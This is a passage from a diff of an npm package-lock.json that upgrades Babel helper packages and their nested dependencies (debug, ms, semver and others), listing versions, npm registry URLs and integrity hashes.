+ "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "lodash": "^4.17.19",
+ "to-fast-properties": "^2.0.0"
+ }
+ }
}
},
"@babel/helper-create-regexp-features-plugin": {
- "version": "7.8.8",
- "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.8.8.tgz",
- "integrity": "sha512-LYVPdwkrQEiX9+1R29Ld/wTrmQu1SSKYnuOk3g0CkcZMA1p0gsNxJFj/3gBdaJ7Cg0Fnek5z0DsMULePP7Lrqg==",
+ "version": "7.12.17",
+ "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.12.17.tgz",
+ "integrity": "sha512-p2VGmBu9oefLZ2nQpgnEnG0ZlRPvL8gAGvPUMQwUdaE8k49rOMuZpOwdQoy5qJf6K8jL3bcAMhVUlHAjIgJHUg==",
"dev": true,
"requires": {
- "@babel/helper-annotate-as-pure": "^7.8.3",
- "@babel/helper-regex": "^7.8.3",
- "regexpu-core": "^4.7.0"
+ "@babel/helper-annotate-as-pure": "^7.12.13",
+ "regexpu-core": "^4.7.1"
}
},
- "@babel/helper-define-map": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/helper-define-map/-/helper-define-map-7.8.3.tgz",
- "integrity": "sha512-PoeBYtxoZGtct3md6xZOCWPcKuMuk3IHhgxsRRNtnNShebf4C8YonTSblsK4tvDbm+eJAw2HAPOfCr+Q/YRG/g==",
+ "@babel/helper-define-polyfill-provider": {
+ "version": "0.2.0",
+ "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.2.0.tgz",
+ "integrity": "sha512-JT8tHuFjKBo8NnaUbblz7mIu1nnvUDiHVjXXkulZULyidvo/7P6TY7+YqpV37IfF+KUFxmlK04elKtGKXaiVgw==",
"dev": true,
"requires": {
- "@babel/helper-function-name": "^7.8.3",
- "@babel/types": "^7.8.3",
- "lodash": "^4.17.13"
+ "@babel/helper-compilation-targets": "^7.13.0",
+ "@babel/helper-module-imports": "^7.12.13",
+ "@babel/helper-plugin-utils": "^7.13.0",
+ "@babel/traverse": "^7.13.0",
+ "debug": "^4.1.1",
+ "lodash.debounce": "^4.0.8",
+ "resolve": "^1.14.2",
+ "semver": "^6.1.2"
+ },
+ "dependencies": {
+ "@babel/code-frame": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz",
+ "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==",
+ "dev": true,
+ "requires": {
+ "@babel/highlight": "^7.12.13"
+ }
+ },
+ "@babel/generator": {
+ "version": "7.13.9",
+ "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz",
+ "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.13.0",
+ "jsesc": "^2.5.1",
+ "source-map": "^0.5.0"
+ }
+ },
+ "@babel/helper-function-name": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz",
+ "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-get-function-arity": "^7.12.13",
+ "@babel/template": "^7.12.13",
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-get-function-arity": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz",
+ "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-split-export-declaration": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz",
+ "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-validator-identifier": {
+ "version": "7.12.11",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz",
+ "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==",
+ "dev": true
+ },
+ "@babel/highlight": {
+ "version": "7.13.10",
+ "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz",
+ "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "chalk": "^2.0.0",
+ "js-tokens": "^4.0.0"
+ }
+ },
+ "@babel/parser": {
+ "version": "7.13.15",
+ "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz",
+ "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==",
+ "dev": true
+ },
+ "@babel/template": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz",
+ "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==",
+ "dev": true,
+ "requires": {
+ "@babel/code-frame": "^7.12.13",
+ "@babel/parser": "^7.12.13",
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/traverse": {
+ "version": "7.13.15",
+ "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz",
+ "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==",
+ "dev": true,
+ "requires": {
+ "@babel/code-frame": "^7.12.13",
+ "@babel/generator": "^7.13.9",
+ "@babel/helper-function-name": "^7.12.13",
+ "@babel/helper-split-export-declaration": "^7.12.13",
+ "@babel/parser": "^7.13.15",
+ "@babel/types": "^7.13.14",
+ "debug": "^4.1.0",
+ "globals": "^11.1.0"
+ }
+ },
+ "@babel/types": {
+ "version": "7.13.14",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz",
+ "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "lodash": "^4.17.19",
+ "to-fast-properties": "^2.0.0"
+ }
+ },
+ "debug": {
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
+ "requires": {
+ "ms": "2.1.2"
+ }
+ },
+ "ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
+ },
+ "semver": {
+ "version": "6.3.0",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
+ "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==",
+ "dev": true
+ }
}
},
"@babel/helper-explode-assignable-expression": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.8.3.tgz",
- "integrity": "sha512-N+8eW86/Kj147bO9G2uclsg5pwfs/fqqY5rwgIL7eTBklgXjcOJ3btzS5iM6AitJcftnY7pm2lGsrJVYLGjzIw==",
+ "version": "7.13.0",
+ "resolved": "https://registry.npmjs.org/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.13.0.tgz",
+ "integrity": "sha512-qS0peLTDP8kOisG1blKbaoBg/o9OSa1qoumMjTK5pM+KDTtpxpsiubnCGP34vK8BXGcb2M9eigwgvoJryrzwWA==",
"dev": true,
"requires": {
- "@babel/traverse": "^7.8.3",
- "@babel/types": "^7.8.3"
+ "@babel/types": "^7.13.0"
+ },
+ "dependencies": {
+ "@babel/helper-validator-identifier": {
+ "version": "7.12.11",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz",
+ "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==",
+ "dev": true
+ },
+ "@babel/types": {
+ "version": "7.13.14",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz",
+ "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "lodash": "^4.17.19",
+ "to-fast-properties": "^2.0.0"
+ }
+ }
}
},
"@babel/helper-function-name": {
@@ -238,103 +722,595 @@
}
},
"@babel/helper-hoist-variables": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.8.3.tgz",
- "integrity": "sha512-ky1JLOjcDUtSc+xkt0xhYff7Z6ILTAHKmZLHPxAhOP0Nd77O+3nCsd6uSVYur6nJnCI029CrNbYlc0LoPfAPQg==",
+ "version": "7.13.0",
+ "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.13.0.tgz",
+ "integrity": "sha512-0kBzvXiIKfsCA0y6cFEIJf4OdzfpRuNk4+YTeHZpGGc666SATFKTz6sRncwFnQk7/ugJ4dSrCj6iJuvW4Qwr2g==",
"dev": true,
"requires": {
- "@babel/types": "^7.8.3"
+ "@babel/traverse": "^7.13.0",
+ "@babel/types": "^7.13.0"
+ },
+ "dependencies": {
+ "@babel/code-frame": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz",
+ "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==",
+ "dev": true,
+ "requires": {
+ "@babel/highlight": "^7.12.13"
+ }
+ },
+ "@babel/generator": {
+ "version": "7.13.9",
+ "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz",
+ "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.13.0",
+ "jsesc": "^2.5.1",
+ "source-map": "^0.5.0"
+ }
+ },
+ "@babel/helper-function-name": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz",
+ "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-get-function-arity": "^7.12.13",
+ "@babel/template": "^7.12.13",
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-get-function-arity": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz",
+ "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-split-export-declaration": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz",
+ "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-validator-identifier": {
+ "version": "7.12.11",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz",
+ "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==",
+ "dev": true
+ },
+ "@babel/highlight": {
+ "version": "7.13.10",
+ "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz",
+ "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "chalk": "^2.0.0",
+ "js-tokens": "^4.0.0"
+ }
+ },
+ "@babel/parser": {
+ "version": "7.13.15",
+ "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz",
+ "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==",
+ "dev": true
+ },
+ "@babel/template": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz",
+ "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==",
+ "dev": true,
+ "requires": {
+ "@babel/code-frame": "^7.12.13",
+ "@babel/parser": "^7.12.13",
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/traverse": {
+ "version": "7.13.15",
+ "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz",
+ "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==",
+ "dev": true,
+ "requires": {
+ "@babel/code-frame": "^7.12.13",
+ "@babel/generator": "^7.13.9",
+ "@babel/helper-function-name": "^7.12.13",
+ "@babel/helper-split-export-declaration": "^7.12.13",
+ "@babel/parser": "^7.13.15",
+ "@babel/types": "^7.13.14",
+ "debug": "^4.1.0",
+ "globals": "^11.1.0"
+ }
+ },
+ "@babel/types": {
+ "version": "7.13.14",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz",
+ "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "lodash": "^4.17.19",
+ "to-fast-properties": "^2.0.0"
+ }
+ },
+ "debug": {
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
+ "requires": {
+ "ms": "2.1.2"
+ }
+ },
+ "ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
+ }
}
},
"@babel/helper-member-expression-to-functions": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.8.3.tgz",
- "integrity": "sha512-fO4Egq88utkQFjbPrSHGmGLFqmrshs11d46WI+WZDESt7Wu7wN2G2Iu+NMMZJFDOVRHAMIkB5SNh30NtwCA7RA==",
+ "version": "7.13.12",
+ "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.13.12.tgz",
+ "integrity": "sha512-48ql1CLL59aKbU94Y88Xgb2VFy7a95ykGRbJJaaVv+LX5U8wFpLfiGXJJGUozsmA1oEh/o5Bp60Voq7ACyA/Sw==",
"dev": true,
"requires": {
- "@babel/types": "^7.8.3"
+ "@babel/types": "^7.13.12"
+ },
+ "dependencies": {
+ "@babel/helper-validator-identifier": {
+ "version": "7.12.11",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz",
+ "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==",
+ "dev": true
+ },
+ "@babel/types": {
+ "version": "7.13.14",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz",
+ "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "lodash": "^4.17.19",
+ "to-fast-properties": "^2.0.0"
+ }
+ }
}
},
"@babel/helper-module-imports": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.8.3.tgz",
- "integrity": "sha512-R0Bx3jippsbAEtzkpZ/6FIiuzOURPcMjHp+Z6xPe6DtApDJx+w7UYyOLanZqO8+wKR9G10s/FmHXvxaMd9s6Kg==",
+ "version": "7.13.12",
+ "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.13.12.tgz",
+ "integrity": "sha512-4cVvR2/1B693IuOvSI20xqqa/+bl7lqAMR59R4iu39R9aOX8/JoYY1sFaNvUMyMBGnHdwvJgUrzNLoUZxXypxA==",
"requires": {
- "@babel/types": "^7.8.3"
+ "@babel/types": "^7.13.12"
+ },
+ "dependencies": {
+ "@babel/helper-validator-identifier": {
+ "version": "7.12.11",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz",
+ "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw=="
+ },
+ "@babel/types": {
+ "version": "7.13.14",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz",
+ "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==",
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "lodash": "^4.17.19",
+ "to-fast-properties": "^2.0.0"
+ }
+ }
}
},
"@babel/helper-module-transforms": {
- "version": "7.9.0",
- "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.9.0.tgz",
- "integrity": "sha512-0FvKyu0gpPfIQ8EkxlrAydOWROdHpBmiCiRwLkUiBGhCUPRRbVD2/tm3sFr/c/GWFrQ/ffutGUAnx7V0FzT2wA==",
+ "version": "7.13.14",
+ "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.13.14.tgz",
+ "integrity": "sha512-QuU/OJ0iAOSIatyVZmfqB0lbkVP0kDRiKj34xy+QNsnVZi/PA6BoSoreeqnxxa9EHFAIL0R9XOaAR/G9WlIy5g==",
"dev": true,
"requires": {
- "@babel/helper-module-imports": "^7.8.3",
- "@babel/helper-replace-supers": "^7.8.6",
- "@babel/helper-simple-access": "^7.8.3",
- "@babel/helper-split-export-declaration": "^7.8.3",
- "@babel/template": "^7.8.6",
- "@babel/types": "^7.9.0",
- "lodash": "^4.17.13"
+ "@babel/helper-module-imports": "^7.13.12",
+ "@babel/helper-replace-supers": "^7.13.12",
+ "@babel/helper-simple-access": "^7.13.12",
+ "@babel/helper-split-export-declaration": "^7.12.13",
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "@babel/template": "^7.12.13",
+ "@babel/traverse": "^7.13.13",
+ "@babel/types": "^7.13.14"
+ },
+ "dependencies": {
+ "@babel/code-frame": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz",
+ "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==",
+ "dev": true,
+ "requires": {
+ "@babel/highlight": "^7.12.13"
+ }
+ },
+ "@babel/generator": {
+ "version": "7.13.9",
+ "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz",
+ "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.13.0",
+ "jsesc": "^2.5.1",
+ "source-map": "^0.5.0"
+ }
+ },
+ "@babel/helper-function-name": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz",
+ "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-get-function-arity": "^7.12.13",
+ "@babel/template": "^7.12.13",
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-get-function-arity": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz",
+ "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-split-export-declaration": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz",
+ "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-validator-identifier": {
+ "version": "7.12.11",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz",
+ "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==",
+ "dev": true
+ },
+ "@babel/highlight": {
+ "version": "7.13.10",
+ "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz",
+ "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "chalk": "^2.0.0",
+ "js-tokens": "^4.0.0"
+ }
+ },
+ "@babel/parser": {
+ "version": "7.13.15",
+ "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz",
+ "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==",
+ "dev": true
+ },
+ "@babel/template": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz",
+ "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==",
+ "dev": true,
+ "requires": {
+ "@babel/code-frame": "^7.12.13",
+ "@babel/parser": "^7.12.13",
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/traverse": {
+ "version": "7.13.15",
+ "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz",
+ "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==",
+ "dev": true,
+ "requires": {
+ "@babel/code-frame": "^7.12.13",
+ "@babel/generator": "^7.13.9",
+ "@babel/helper-function-name": "^7.12.13",
+ "@babel/helper-split-export-declaration": "^7.12.13",
+ "@babel/parser": "^7.13.15",
+ "@babel/types": "^7.13.14",
+ "debug": "^4.1.0",
+ "globals": "^11.1.0"
+ }
+ },
+ "@babel/types": {
+ "version": "7.13.14",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz",
+ "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "lodash": "^4.17.19",
+ "to-fast-properties": "^2.0.0"
+ }
+ },
+ "debug": {
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
+ "requires": {
+ "ms": "2.1.2"
+ }
+ },
+ "ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
+ }
}
},
"@babel/helper-optimise-call-expression": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.8.3.tgz",
- "integrity": "sha512-Kag20n86cbO2AvHca6EJsvqAd82gc6VMGule4HwebwMlwkpXuVqrNRj6CkCV2sKxgi9MyAUnZVnZ6lJ1/vKhHQ==",
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.12.13.tgz",
+ "integrity": "sha512-BdWQhoVJkp6nVjB7nkFWcn43dkprYauqtk++Py2eaf/GRDFm5BxRqEIZCiHlZUGAVmtwKcsVL1dC68WmzeFmiA==",
"dev": true,
"requires": {
- "@babel/types": "^7.8.3"
+ "@babel/types": "^7.12.13"
+ },
+ "dependencies": {
+ "@babel/helper-validator-identifier": {
+ "version": "7.12.11",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz",
+ "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==",
+ "dev": true
+ },
+ "@babel/types": {
+ "version": "7.13.14",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz",
